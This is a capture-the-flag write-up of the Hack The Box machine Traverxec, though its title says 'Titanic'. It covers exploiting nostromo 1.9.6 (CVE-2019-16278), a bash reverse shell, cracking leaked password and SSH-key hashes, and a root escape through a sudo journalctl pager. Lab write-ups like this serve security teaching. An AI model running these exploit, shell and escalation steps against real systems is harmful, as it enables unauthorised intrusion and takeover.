HTB Titanic
1. Recon
/etc/hosts, then the landing page: "TRAVERXEC": a one-page portfolio for David White


Full-port nmap says the attack surface is two ports:
- 22: OpenSSH 7.9p1 Debian 10+deb10u1
- 80: nostromo 1.9.6 ← the web server is the product; no nginx or apache in front


The OpenSSH package string pins the OS to Debian 10 (buster) and nostromo 1.9.6 is the buster-era version. Two facts agreeing on one era.
2. Web recon: a dead end worth confirming
dirsearch (raft-medium-directories) and dirb (common.txt) both come back with the same five static asset dirs: /js, /css, /img, /lib, /icons, and nothing else. The scattered 501 Not Implemented responses are nostromo choking on URL-encoded wordlist entries, not content.


That emptiness is the finding: there is no web app to attack, so the versioned daemon itself gets the attention. searchsploit territory.

3. Foothold: CVE-2019-16278
A path traversal in nhttpd 1.9.6's request handling escapes the docroot and reaches /bin/sh. The public exploit (CybermonkX) runs the command string directly, no auth:
python3 CVE-2019-16278.py -t 10.129.76.143 -p 80 -c "whoami"
The reverse shell needs one wrap: a bare bash -i >& /dev/tcp/... dies inside the exploit's hand-off, but an explicit bash -c '...' gives the line a real shell to parse: penelope catches it on 443 and PTY-upgrades to www-data@traverxec.

4. Enumeration: the wall around david
/home holds one user: david. And david's home is sealed. cd succeeds, ls fails:
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission deniedThat asymmetry is the box's first real lesson: www-data has the execute bit but not the read bit. The directory cannot be listed, but any named path inside it is reachable. Park that thought.

linpeas goes in over wget (no curl on the box):

And linpeas pays immediately. The Htpasswd Files section:
-rw-r----- 1 root bin 41 Oct 25 2019 /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/The web server's own auth store leaks david's credential hash, readable by www-data.

5. Cracking: md5crypt vs rockyou
hash-identifier gives one candidate: MD5(Unix): the $1$ prefix.

hashcat auto-detects mode 500.

Eight and a half minutes later, at 75% through rockyou:
$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me
6. The credential that opens nothing, yet
su david + Nowonly4me → Authentication failure.

ssh david@traverxec.htb + the same password → Permission denied (publickey,password).

Not a wrong crack: a wrong assumption. .htpasswd guards nostromo's basic-auth realm, not the OS. The password's consumer has not been found yet; the OS never promised to accept it. This is the recurring discipline of the box: match every recovered secret to its real surface.
7. The config is the map
/var/nostromo/conf/nhttpd.conf answers the question the locked home posed:
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_wwwnostromo serves /home/<user>/public_www at /~<user>/: the config declares the directory the filesystem refused to show. Probe it with the cracked credential:
curl -u david:Nowonly4me http://traverxec.htb/~david/"Private space. Nothing here. Keep out!" Basic auth accepted. The password's real domain found.

The browser sees a placeholder because index.html hides everything else. The shell does not need an index. The execute-bit lesson from step 4 pays off: a known full path passes straight through the unreadable home:
www-data@traverxec:/var/local$ ls -al /home/david/public_www
drwxr-xr-x 3 david david 4096 Oct 25 2019 .
drwx--x--x 5 david david 4096 Oct 25 2019 ..
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-areaAnd inside protected-file-area: .htaccess (45 B) and backup-ssh-identity-files.tgz (1,915 B, -rw-r--r--).


The .htaccess protects the web route only. www-data is already on the filesystem. It reads the tar locally:
tar -ztvf backup-ssh-identity-files.tgz # preview: home/david/.ssh/{authorized_keys,id_rsa,id_rsa.pub}
tar -xzf backup-ssh-identity-files.tgz
8. The key has its own lock
The extracted id_rsa is old-format PEM and passphrase-encrypted:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4Fid_rsa.pub and authorized_keys carry the same public key: this is the pair david's box trusts. The key moves to Kali via copy-paste.


First guess dies: Nowonly4me does not unlock the key either.

So the key gets the hash treatment. ssh2john parses the PEM, john takes rockyou, and it dies in under a second:
$ ssh2john id_rsa > sshhash
$ john -w=/usr/share/wordlists/rockyou.txt sshhash
hunter (id_rsa)50,000 g/s, DONE at zero elapsed: hunter was sitting early in the wordlist.

$ chmod 600 id_rsa
$ ssh -i id_rsa david@traverxec.htb # passphrase: hunter
david@traverxec:~$Two cracked credentials, two different consumers: Nowonly4me opened the web tier, hunter opened the shell.

David's home confirms the shape of the box: .bash_history symlinked to /dev/null, and ~/bin/server-stats.sh, a script whose last line is the prize:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat9. Root: the pager, on purpose
Running the script proves the sudo rule works passwordless, and nothing else. Its journalctl line is piped into cat, so journalctl writes to a pipe, never sees a TTY, never opens a pager. The script is a decoy that demonstrates its own escape hatch.

The raw command, unpiped, is the move:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.serviceOne environment fact decides everything now: less opens only when the output does not fit the terminal. -n5 is six lines. In a full-height window it fits: no pager, back to the prompt. No command needed to fix this: drag the terminal window up until it's ~5 rows tall and run it again. The output no longer fits, less opens (: at the bottom), and inside the pager:
!shless executes the escape, as root, because journalctl is the sudo'd process. Root shell. (The scripted equivalent, stty rows 5 before the command, stays in the notes as a fallback, never needed.).
May The Pentest Be With You !



